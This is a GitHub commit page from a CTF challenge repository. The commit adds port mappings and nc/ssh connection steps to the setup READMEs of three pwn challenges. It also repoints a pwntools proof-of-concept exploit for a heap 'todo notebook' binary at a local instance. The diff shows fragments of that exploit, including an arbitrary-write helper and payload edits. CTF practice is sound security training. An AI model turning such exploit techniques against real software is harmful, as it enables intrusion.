Skip to content

Commit ab4d8c4

Browse files
authored
doc: connect to the challenge instance
1 parent 4c21209 commit ab4d8c4

File tree

4 files changed

+19
-8
lines changed

4 files changed

+19
-8
lines changed

pwn/definitely-safe/README.md

+6-1
Original file line numberDiff line numberDiff line change
@@ -21,5 +21,10 @@
2121
```
2222
cd challenge
2323
docker build -t Def1nit3lysAfetoDol1st5iNc31hAveF0rb1dUnsafec0de ./
24-
docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} Def1nit3lysAfetoDol1st5iNc31hAveF0rb1dUnsafec0de:latest
24+
docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} -p 12345:70 Def1nit3lysAfetoDol1st5iNc31hAveF0rb1dUnsafec0de:latest
25+
```
26+
27+
connect to the challenge
28+
```
29+
nc 127.0.0.1 12345
2530
```

pwn/definitely-safe/challenge/definitely_safe_notebook_since_i_have_forbid_unsafe_code/poc.py

+1-5
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
from pwn import *
22

3-
sh = process("./target/debug/definitely_safe_notebook_since_i_have_forbid_unsafe_code")
4-
#sh = remote("127.0.0.1", 8888)
3+
sh = remote("127.0.0.1", 12345)
54
tob = lambda x: str(x).encode()
65
context.arch = 'amd64'
76

@@ -27,7 +26,6 @@ def edit_to_do(index, content):
2726
def print_todo():
2827
sh.sendlineafter(b'> ', b'4')
2928

30-
# gdb.attach(sh)
3129
context.log_level = 'debug'
3230
for i in range(8):
3331
add_todo(b'name', 0x10, b'content')
@@ -94,6 +92,4 @@ def arb_write(addr, data):
9492
edit_to_do(0x3, payload)
9593
edit_to_do(0x0, p64(data))
9694

97-
98-
9995
sh.interactive()

pwn/slowjs-plus-plus/README.md

+6-1
Original file line numberDiff line numberDiff line change
@@ -28,5 +28,10 @@
2828
```
2929
cd challenge
3030
docker build -t slowjspp ./
31-
docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} slowjspp:latest
31+
docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} -p 12345:70 slowjspp:latest
32+
```
33+
34+
connect to the challenge
35+
```
36+
nc 127.0.0.1 12345
3237
```

pwn/snake/README.md

+6-1
Original file line numberDiff line numberDiff line change
@@ -21,5 +21,10 @@
2121
```
2222
cd challenge
2323
docker build -t snake ./
24-
docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} snake:latest
24+
docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} -p 12345:12345 snake:latest
25+
```
26+
27+
connect to the challenge
28+
```
29+
ssh root@localhost -p 12345
2530
```

0 commit comments

Comments
 (0)